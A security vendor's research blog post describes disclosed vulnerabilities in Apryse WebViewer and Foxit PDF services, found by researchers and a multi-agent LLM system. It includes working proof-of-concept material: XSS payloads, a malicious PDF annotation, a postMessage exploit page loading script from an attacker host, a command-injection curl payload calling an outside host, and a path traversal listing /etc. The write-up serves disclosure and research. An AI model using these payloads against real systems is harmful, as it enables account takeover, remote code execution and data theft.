Your AI Apps Don’t Pentest Themselves

See How Novee AI Red Teams Your LLMs

Your AI Apps Don’t Pentest Themselves

See How Novee AI Red Teams Your LLMs

From PDF to Pwn: Scalable 0day Discovery in PDF Engines and Services Using Multi-Agent LLMs

Inside Novee’s approach to scaling zero-day discovery by compounding exploit reasoning across modern PDF platforms.

Lidor Ben Shitrit, Founding Engineer
Elad Meged, Founding Engineer
Avishai Fradlis, Founding Engineer

20 mins

Explore Article +

This post describes security research conducted under responsible disclosure. Don’t test systems you don’t own or have explicit permission to assess.

When preparing to emerge from stealth, we sought to demonstrate the efficacy of our research workflow by targeting Apryse WebViewer (formerly PDFTron) and Foxit PDF cloud services. These platforms are widely deployed, feature-rich, and combine client-side UI logic with complex server-side SDKs, making them an ideal proving ground for vulnerability research.

Our strategy involved a human-agent symbiosis: our researchers manually identified foundational vulnerability patterns, which were then taught to the Novee agent. Once the agent internalized the “scent” of these bugs, it autonomously explored the massive attack surface of both vendors. The result was the discovery of 13 distinct vulnerability categories, ranging from critical XSS to OS Command Injection.

This is an in-depth breakdown of how our lead researchers discovered, analyzed, and synthesized key structural vulnerability patterns in PDF engines – and then taught our AI agents how to hunt for those same patterns. 
For a high-level summary of why we pointed out platform at PDFs, and how we give AI an advantage in vulnerability discovery, read our executive blog.


Target Architecture: Trust Boundaries That Actually Matter

Apryse WebViewer is effectively three layers:

Layer 1: WebViewer UI (React inside an iframe)

The UI is a prebuilt React SPA that loads inside an iframe at paths like /res/webviewer/<version>/ui/index.html.

What matters for security: the UI accepts configuration from multiple untrusted sources:

  • Query string parameters
  • postMessage from the embedding page
  • Remote JSON configuration files
  • LocalStorage and URL fragments

The entire UI runs in an iframe. That’s a trust boundary. Anything crossing into it needs validation.

Layer 2: Core (JavaScript + WebAssembly engine)

Core is the document engine – a JS/WASM port of the Apryse C++ SDK. It handles parsing and rendering for PDF, Office files, images, CAD formats, and more.

Security-wise, bugs here trend toward parsing failures and validation gaps rather than DOM sinks.

Layer 3: Server-side SDK (conversion, rendering, HTML-to-PDF)

Many deployments add server-side components for HTML-to-PDF conversion, thumbnail generation, and format handling. This is where classic backend risks surface, such as SSRF, internal network access, and metadata exposure.

The HTML-to-PDF converters are particularly interesting because they fetch and render arbitrary attacker-controlled content on the server side.


Vulnerability #1: CVE-2025-70402 DOM XSS via Remote UI Configuration (uiConfig)

The Bug

WebViewer UI reads a uiConfig parameter from the query string, treats it as a URL, fetches JSON from that URL, and applies the configuration to the UI. At least one configuration field reaches an unsafe DOM sink, enabling DOM-based XSS in the viewer frame.

Why This Matters

This is a trust boundary failure. The query parameter – fully attacker-controlled – dictates where to fetch the “trusted” configuration. That configuration then influences how the DOM is built. We managed to create a ful ATO in one of Novee’s clients.

The flow:

  1. Victim opens https://www.ACMEcorp.com/res/webviewer/11.8/ui/index.html#d=""&extension=pdf&uiConfig=https://attacker.com/xss.json
  2. UI fetches https://attacker.com/xss.json
  3. UI parses the JSON and applies fields into state
  4. One or more fields reach a DOM sink without sanitization → script execution

That’s DOM XSS. It can still be shared via links, cached, or bookmarked, but the root cause is unsafe client-side data handling.

Apryse WebViewer endpoint stripped:

We will use the #d= fragment to embed a remote PDF:

https://[REDACTED].com/res/webviewer/11.8/ui/index.html#d="<https://pdfobject.com/pdf/sample.pdf>"&extension=pdf&uiConfig=

What We Found in the Code

In the minified UI bundle (webviewer-ui.min.js), the pattern is clear:

The following Object(Yt.a) was found as a query string extractor function; its pattern was pretty much a straightforward – Object(Yt.a) + String –

The uiConfig parameter is read via a query string helper (Yt.a), fetched, parsed as JSON, and passed into a Redux-like state application function. Somewhere downstream, a config field hits a rendering path that doesn’t escape HTML.

The screenshot below provides a clear workflow on how the remote URL is processed:

After being fetched, the response content is reviewed for JSON object:

RCA / The Sink

File: webviewer-ui/src/components/Icon/Icon.js

Lines: 46, 64, 102

Vulnerable Code:

updateSvg() {
  if (this.isInlineSvg()) {
    const domElement = this.icon.current;

    while (domElement.firstChild) {
      domElement.removeChild(domElement.firstChild);
    }

    const svg = (new DOMParser()).parseFromString(
      this.props.glyph,    // User input from uiConfig
      'image/svg+xml'
    ).querySelector('svg');

    domElement.appendChild(svg);
  }
}
isInlineSvg() {
  const { glyph } = this.props;
  return glyph && glyph.indexOf('<svg') === 0;
}

render() {
  let svgElement;

  try {
    svgElement = this.isInlineSvg()
      ? glyph                    // This is the Source (i.e user input)
      : require(`../../../assets/icons/${this.props.glyph}.svg`);
  } catch {
    svgElement = undefined;
  }

  // Renders without escaping
  return (
    <div
      ref={this.icon}
      className="Icon"
      dangerouslySetInnerHTML={{ __html: svgElement }}
    />
  );
}

Why Standard XSS Protections Fail

DOMParser with image/svg+xml strips SVG event handlers:

Blocked Payloads for example:

"<svg onload=alert(1)></svg>"
// onload stripped
"<svg><script>alert(1)</script></svg>"  // script tag inert

Working payload (foreignObject bypass) finally 😅 :

"<svg><foreignObject><img src=x onerror=alert(1)></foreignObject></svg>"

Reason: DOMParser sanitizes SVG elements but NOT HTML content inside <foreignObject>. When the browser encounters <foreignObject>, it switches from SVG parsing context to HTML parsing context. HTML event handlers are preserved and execute.

Hence, our final payload should look like:

We can see that the foreignObject is injected in the DOM while our img tag with our XSS payload is executed:

Final POC

https://showcase.apryse.com/res/webviewer/11.8/ui/index.html#d=>""&extension=pdf&uiConfig=https://attacker.com/xss.json

Impact

Besides the Arbitrary JavaScript execution in the WebViewer UI frame, (and the common Data Exfil, or cookie grabbing, etc…) during a POV we had in Novee, we managed to fully accomplish a one-click account takeover using this specific vulnerability.


Vulnerability #2: CVE-2025-70401 Stored DOM XSS via Annotation Author Field

The Bug

WebViewer renders annotation author names in the Notes/Comments panel without proper output encoding. When a user interacts with the comment input field, React re-renders the component and the author string flows to an innerHTML sink, enabling Stored DOM-based XSS. The payload persists in the annotation object and re-executes on every render cycle.

Why This Matters

The annotation author field – either from a malicious PDF or URL parameter – crosses multiple trust boundaries before reaching the DOM sink.

The flow:

  1. Attacker crafts PDF with XSS payload in annotation /T (Title/Author) field
  2. Victim opens https://[webviewer]/index.html#d="<https://attacker.com/malicious.pdf>"&a=1
  3. WebViewer parses PDF and loads annotation with malicious author name
  4. Victim opens Notes panel and types any character in comment field
  5. React re-renders the Note component → author value hits innerHTML sink → script execution

That’s Stored DOM XSS. The payload travels with the document and affects every user who views the annotations.

RCA / The Sink

In the minified core bundle (webviewer-core.min.js), the vulnerable rendering path is clear:

var me, he = function(e) {
    return "undefined" != typeof MSApp && MSApp.execUnsafeLocalFunction
        ? function(t, n, o, r) {
            MSApp.execUnsafeLocalFunction((function() {
                return e(t, n)
            }))
        }
        : e
}((function(e, t) {
    // VULNERABLE SINK
    if ("<http://www.w3.org/2000/svg>" !== e.namespaceURI || "innerHTML" in e)
        e.innerHTML = t;  // <-- Unsanitized assignment
    else {
        for ((me = me || document.createElement("div")).innerHTML =
             "" + t.valueOf().toString() + "",
             t = me.firstChild; e.firstChild; )
            e.removeChild(e.firstChild);
        for (; t.firstChild; )
            e.appendChild(t.firstChild);
    }
}));

The he() function is React’s internal DOM manipulation helper. It receives the author string from the Note component’s render cycle and assigns it directly to innerHTML without encoding.

Sink: he() function in React DOM reconciliation.

Data Flow:

PDF Annotation /T field
        ↓
annotation.Author property (Core layer)
        ↓
React component props (UI layer)
        ↓
Component render() → React reconciliation
        ↓
he() function → e.innerHTML = t  ← VULNERABLE
        ↓
Browser HTML parser → Script execution

Trigger Condition: The XSS does NOT execute on initial page load. It requires a React state change that forces re-rendering of the author element:

  • User types any character in the comment input field
  • User clicks to expand/collapse the annotation note
  • Any action that triggers setState() in the Note component hierarchy

The Quill editor (ql-editor) dispatches input events that propagate to React, triggering re-render of sibling elements including the author display.

Final POC

5 0 obj
<<
/Type /Annot
/Subtype /Text
/Rect [100 600 200 700]
/Contents (Click to view)
/T (" ><img src=x onerror=alert(document.domain)><!--)
/Open true
/Name /Comment
>>
endobj

Type any character in the comment field, and the XSS payload executes.

Impact

Arbitrary JavaScript execution in the WebViewer UI frame, which can lead to:

  • Session hijacking – steal authentication tokens from parent application
  • Document manipulation – modify annotations, redactions, or content
  • Data exfiltration – extract sensitive document data or user information
  • Persistent compromise – payload survives page refreshes, affects all document viewers
  • Account takeover – if WebViewer is embedded in authenticated applications, XSS provides full account access

Vulnerability #3: CVE-2025-66500 – DOM XSS via Unsafe postMessage Handler in Foxit Web Plugins

The Bug

Foxit PDF Online embeds calculator and support agent components from webplugins.foxit.com via iframes. These embedded components use postMessage handlers to receive initialization commands from the parent frame. The initEnvironment handler accepts a user-controlled externalPath parameter and dynamically creates a <script> tag with that URL without any origin validation, enabling DOM-based XSS in the trusted Foxit domain.

Why This Matters

The postMessage handler – designed to accept commands only from the parent application – fails to validate the actual origin of incoming messages. Instead, it checks a string field inside the message payload itself, which is fully attacker-controlled.

The flow:

  1. Attacker embeds https://webplugins.foxit.com/calculator/commands.html in a malicious page.
  2. Attacker sends a crafted postMessage with origin: "FoxitApp" (fake string) and externalPath: "<https://attacker.com/xss.js.">
  3. Handler accepts the message because e.data.origin === "FoxitApp" (string comparison, not origin check)
  4. Handler creates <script src="<https://attacker.com/xss.js>"></script> and appends to DOM → script execution

That’s DOM XSS via postMessage. The handler treats attacker-controlled data as trusted configuration commands.

Discovery Method: FrogPost Extension

This vulnerability was discovered using FrogPost, a purpose-built browser extension for hunting postMessage vulnerabilities. FrogPost monitors cross-origin message traffic in real-time and flags handlers with:

  • Missing or weak origin validation
  • DOM manipulation sinks (innerHTML, script creation, etc.)
  • Attacker-controllable data flows

When auditing pdfonline.foxit.com, FrogPost detected multiple embedded iframes under webplugins.foxit.com exchanging postMessage events. The extension highlighted the following endpoints as high-risk:

  • https://webplugins.foxit.com/calculator/commands.html
  • https://webplugins.foxit.com/calculator/dialog.html
  • https://webplugins.foxit.com/chat/support.html

Each endpoint implemented postMessage handlers for cross-frame initialization, but only the calculator’s commands.html endpoint contained an exploitable DOM XSS sink.

What We Found in the Code

Location: webplugins.foxit.com/calculator/commands.html

Vulnerable Code:

The critical mistakes:

  1. Line 5: "FoxitApp" === e.origin checks a user-supplied string field, not event.origin (the actual sender’s origin)
  2. Line 13: n.src = r.externalPath accepts any URL without validation
  3. Line 14: document.body.appendChild(n) injects the script into DOM

Why Standard postMessage Protections Fail

Correct origin validation:

window.addEventListener('message', function(event) {
    if (event.origin !== '<https://pdfonline.foxit.com>') {
        return; // Reject
    }
});

Foxit’s broken validation:

window.onmessage = function(t) {
    var e = t.data;
    // Checks USER-CONTROLLED string, not event.origin!
    if ("FoxitApp" === e.origin) {
    }
}

Reason: The code validates t.data.origin (attacker-controlled JSON field) instead of t.origin (browser-enforced sender origin). An attacker can trivially set {origin: "FoxitApp"} in their payload.

Exploitation

Step 1: Host Malicious Script

// <https://attacker-server.com/xss.js>
alert('XSS via postMessage in: ' + document.domain);

Step 2: Craft Exploit Page

<!DOCTYPE html>
<html>
<body>
    <h1>Loading Foxit Calculator...</h1>

    <iframe
        id="target"
        src="<https://webplugins.foxit.com/calculator/commands.html>"
        width="600"
        height="400">
    </iframe>

    <script>
        // Wait for iframe to load
        setTimeout(() => {
            const targetFrame = document.getElementById('target').contentWindow;
            targetFrame.postMessage({
                "origin": "FoxitApp",  
                "name": "initEnvironment",
                "param": {
                    "externalPath": "<https://attacker-server.com/xss.js>",
                    "platform": "web"
                }
            }, '*');
        }, 2000);
    </script>
</body>
</html>

Step 3: Result

Proof of Concept:

The remote script is fetched and appended to the DOM, and XSS executes successfully.

Impact

Arbitrary JavaScript execution in the webplugins.foxit.com origin, which can lead to:

  • Session hijacking: Access to Foxit session cookies and authentication tokens
  • Document manipulation: Inject malicious content into PDF workflows and annotations
  • Data exfiltration: Steal sensitive user data from embedded calculator/support context
  • Phishing: Display fake authentication prompts on trusted Foxit domain

The vulnerability executes in the context of a trusted Foxit domain, making it particularly dangerous for users who trust content from *.foxit.com.


Part 2: Novee Agents – Teaching Agents to Hunt

The three vulnerabilities above share a common anatomy. Strip away the specific payloads and code paths, and you find the same structural failures:

  1. Untrusted input accepted without validation
  2. Data flows across trust boundaries without sanitization
  3. Eventually reaches a dangerous sink (DOM, network, file system)

Part 1 told that story: a human researcher staring into minified chaos until the truth emerges. Finding a real vulnerability is an incredible achievement. It takes intuition, patience, and deep technical taste.

But here’s the part nobody wants to admit:

Can you do it again? And again? Across a codebase that’s constantly changing, aggressively minified, deeply dynamic, and written by smart engineers who are actively trying to get it right?

That’s where most security approaches stop scaling.


The gap: why “brilliant tools” still lose to minified reality

Static tools are powerful-until the code stops being static

SAST/CPG/DFG/CFG-based tools can be incredible-when the program behaves like a program.

But modern web products like Apryse and Foxit aren’t written like neat textbooks:

  • “Minification” deletes meaning: identifiers vanish, structure collapses.
  • Dynamic invocation deletes certainty: obj[key], dispatch tables, computed routes, runtime-resolved imports.
  • Configuration becomes code: URL fragments, remote JSON, postMessage commands, metadata from files.
  • Framework plumbing hides sinks: the dangerous assignment may live inside React internals, not your source tree.

So the real blocker isn’t “detecting innerHTML.”

The blocker is the question that determines exploitability:

Can attacker-controlled input survive every transformation and reach this sink alive, through dynamic code paths, under real trigger conditions?

That’s the gap. And it’s exactly where most tools either:

  • stop, or
  • guess.

We don’t guess.


What makes Novee different (the actual advantage)

1) Scale is necessary – but not sufficient

Yes, agents can work nonstop. That’s table stakes.

What matters is what they do with that time.

If you point generic agents at a target and say “find vulns” you get:

  • noise.
  • hallucinations.
  • “possible XSS” with no reachability.
  • and a pile of dead ends.

2) Our edge: we embedded top researcher instincts into the agent logic

Novee’s advantage isn’t that we run LLMs on code.

It’s that we took the mental habits of elite researchers-the stuff that normally lives in their heads-and compiled it into the operating logic of the system:

  • how to define and prioritize sinks
  • how to walk backwards from sink → source instead of forward into infinity
  • how to recognize trust boundary violations (iframe, postMessage, remote config)
  • how to model transformations that kill payloads
  • how to bypass mitigations when the context allows it

That’s not a per-target prompt. That’s a one-time infusion of expertise into how the agents think.

Then, every new target becomes “just” a mapping problem: ingest the surface → build a knowledge map → run the same researcher-grade playbook at scale.


The Novee swarm: a team, not a model

Novee is intentionally orchestrated like a research team:

  • Tracer: enumerates dangerous sinks, then walks backward to build source-to-sink chains. When it hits a gate it can’t evaluate (validation logic, dynamic dispatch, external binaries), it stops and delegates.
  • Resolver: gets called on specific blockers — analyzes control flow completeness, validation boundary coverage, middleware stacks, or binary behavior to determine whether a gate actually blocks the chain.
  • Bypass: takes a confirmed chain and proves exploitability — models the execution context, selects payload format, and constructs a working PoC.

The point is simple:

Tracer maps every reachable chain and knows when it’s stuck. Resolver answers the specific question blocking progress. Bypass turns a confirmed chain into proof.

And they talk to each other like a real team.


What the Agents Found

Using the same methodology demonstrated in Part 1’s manual findings, the Novee swarm explored the broader attack surface independently. Below are two findings from those automated sessions.

Novee finds OS Command Injection in Foxit PDF SDK for Web Demo env

Environment and objective

Foxit PDF SDK for Web bundles an optional Node.js backend server for digital signature operations. We provided the Novee swarm with the full SDK source, including the signature server component, and the following objective:

Objective

Assess the signature server backend


Tracer: sink enumeration

Tracer scanned for dangerous sinks and immediately found process.execSync() in index.js:

File: server/signature-server-for-linux/index.js

process.execSync(
    './bin/pkcs7 sign ./bin/foxit_all.pfx 123456 ./temp/plain ./temp/signedData Yes ' + md
);

Tracing backward, md comes directly from the request body — no authentication required:

router.post('/digest_and_sign', koabody({
    multipart: true,
    formidable: {maxFileSize: 2000 * 1024 * 1024}
}), async (ctx) => {
    let { filter, subfilter, signer, md } = ctx.request.body;

Tracer mapped the chain: ctx.request.body.md → string concatenation → process.execSync(). But it flagged a gate in the path:

switch (md) {
    case 'sha1': md = '0'; break;
    case 'sha256': md = '1'; break;
    case 'sha384': md = '2'; break;
}

Resolver: the missing default case


Tracer: chain complete


Bypass: one POST, full RCE

PoC (curl):

curl -X POST \\
    -H 'Content-Type: multipart/form-data' \\
    -F 'plain=@dummy.pdf' \\
    -F 'subfilter=adbe.pkcs7.detached' \\
    -F 'md=$(curl attacker.oastify.com/poc)0' \\
    <https://target/signature/digest_and_sign>

One unauthenticated POST request. The server executed the injected curl command from its own process context.

Process trace evidence (fs_usage):

TIME              SYSCALL    COMMAND                  PROCESS_PID
22:35:46.468959   execve     /bin/sh                  node.42059471
22:35:46.473040   execve     /usr/bin/curl            bash.42103942
22:35:46.831518   execve     ./bin/pkcs7              bash.42103940

Two distinct bash processes, both children of the Node.js process — forensic proof of two independent execution contexts: the injected curl and the intended pkcs7.


Conclusion

Tracer mapped the chain from ctx.request.body.md to process.execSync(), hit a gate it couldn’t evaluate. Resolver analyzed the switch — no default case, arbitrary input survives. Tracer completed the chain: execSync runs through /bin/sh, metacharacters get interpreted. Bypass analyzed the execution context, crafted the payload, and proved full RCE with one POST.

Severity: Critical (CVSS 9.8) | Affected: Foxit PDF SDK for Web 11.0.5, signature server component.


Novee Agent finds Path Traversal in Foxit PDF SDK for Web Collaboration Add-on Demo env

Environment and objective

Foxit PDF SDK for Web includes a Collaboration Add-on with a Node.js backend that handles file uploads and listing. We provided the Novee swarm with the source and the following objective:

Objective

Assess the Collaboration Add-on file handling endpoints


Tracer: sink enumeration

Tracer found a filesystem access sink in file-service.ts:

app.get("/api/files/list", function(req, res) {
    const username = req.query.username;
    fs.readdir(FILE_UPLOAD_BASE + `/${username}`, (err, files) => {
    });
});

Tracing backward: username comes directly from req.query.username — no authentication required.

Chain: req.query.username → string concatenation with FILE_UPLOAD_BASE → fs.readdir().


Resolver: no validation, anywhere


Tracer: chain complete

Tracer resumed with Resolver’s answer. The chain is complete:

req.query.username → no validation → raw concatenation into FILE_UPLOAD_BASE + '/' + username → fs.readdir() → OS resolves ../ → arbitrary directory listing.

Handing off to BYPASS.


Bypass: one GET, filesystem exposed

PoC:

GET /collab/api/files/list?username=../../../../etc
Host: webviewer-demo.foxit.com

Response:

{
  "ret": 0,
  "data": [
    {"name": "", "path": "/files/../../../../etc/opt"},
    {"name": "", "path": "/files/../../../../etc/os-release"},
    {"name": "", "path": "/files/../../../../etc/passwd"},
    {"name": "", "path": "/files/../../../../etc/hosts"},
    ...
  ]
}

Operation system full dir listing exposed.


Conclusion

Tracer found the sink, flagged the gap. Resolver confirmed: no validation anywhere — raw query parameter straight into the filesystem path. Bypass sent one GET and listed /etc/.

Severity: High (CVSS 7.5) | Affected: Foxit PDF SDK for Web Collaboration Add-on (webviewer-demo.foxit.com).



Why This Works (And Why Most AI Security Tools Do Not)

Most “AI security tools” fail predictably:

ApproachFailure Mode
Signature matchingHigh noise, misses novel variants
LLM with generic promptsHallucinated findings, no exploitation proof
Automated scannersCannot reason about application-specific trust models

Our approach inverts this:

  1. Humans do the hard work first – understand the trust model, find real vulnerabilities
  2. Extract the reasoning – not signatures, but the why behind exploitability
  3. Encode reasoning into agents – they learn to recognize structural patterns
  4. Agents scale the search – apply patterns across the entire attack surface
  5. Humans verify – confirm findings, build PoCs, handle disclosure

The agents do not replace researchers. They amplify researchers by systematically exploring what humans identified as interesting.


Why this matters in the only way that counts: it produces proof, not vibes

Plenty of systems can produce a list of “interesting lines.” That’s not research.

Novee produces:

  • a sink
  • a source
  • a complete chain
  • dynamic resolution when static certainty fails
  • a proof that survives real mitigations
  • a trigger model
  • an artifact a human can disclose responsibly

That is what separates research from scanning.

Because the rarest commodity in security isn’t “findings.” It’s verified, exploitable reachability – at scale.


Appendix: Additional Findings

IDVendorVulnerabilitySeverityCVE
1ApryseDOM XSS via uiConfigCriticalCVE-2025-70402
2ApryseDOM XSS via Author’s nameHighCVE-2025-70401
3ApryseFull read SSRF in WebViewer Server via iFrame renderingHighCVE-2025-70400
4FoxitStored XSS via postMessageMediumCVE-2025-66500
5FoxitStored XSS via Portfolio featureMediumCVE-2025-66520
6FoxitStored XSS in Page TemplatesMediumCVE-2025-66501
7FoxitStored XSS in Layer ImportMediumCVE-2025-66502
8FoxitStored XSS in Predefined TextMediumCVE-2025-66519
9FoxitStored XSS via Trusted CertificatesMediumCVE-2025-66521
10FoxitStored XSS via Common Name in Digital ID featureMediumCVE-2025-66522
11FoxitThree Reflected XSS Vulnerabilities in na1.foxitesign.foxit.comMediumCVE-2025-66523
12FoxitStored XSS via Attachments FeatureMediumCVE-2026-1591
13FoxitStored XSS via Create New Layer FieldMediumCVE-2026-1592
14FoxitPath Traversal in Collaboration feature in webviewer-demo.foxit.comHighCVE will not be assigned
15FoxitStored XSS (WAF Bypass) via Collaboration feature in webviewer-demo.foxit.comMediumCVE will not be assigned
16FoxitOS Command Injection in Foxit PDF SDK for Web in webviewer-demo.foxit.comHighCVE will not be assigned

Full agent traces and PoC artifacts available on request.


Closing Note(s)

This research was conducted under responsible disclosure. We coordinated with both Apryse and Foxit before publication.

  1. We would like to thank Foxit for their remarkable cooperation in the process of reporting and mitigating these vulnerabilities. Foxit is a prime example of how a vendor should handle and manage such incidents.
  2. The Path Traversal in Collaboration feature, Stored XSS (WAF Bypass) via Collaboration feature and the OS Command Injection were all found in the https://webviewer-demo.foxit.com environment.

Let us show you what your attackers already know. Explore the Novee platform.

Stay updated

Get the latest insights on AI, cybersecurity, and continuous pentesting delivered to your inbox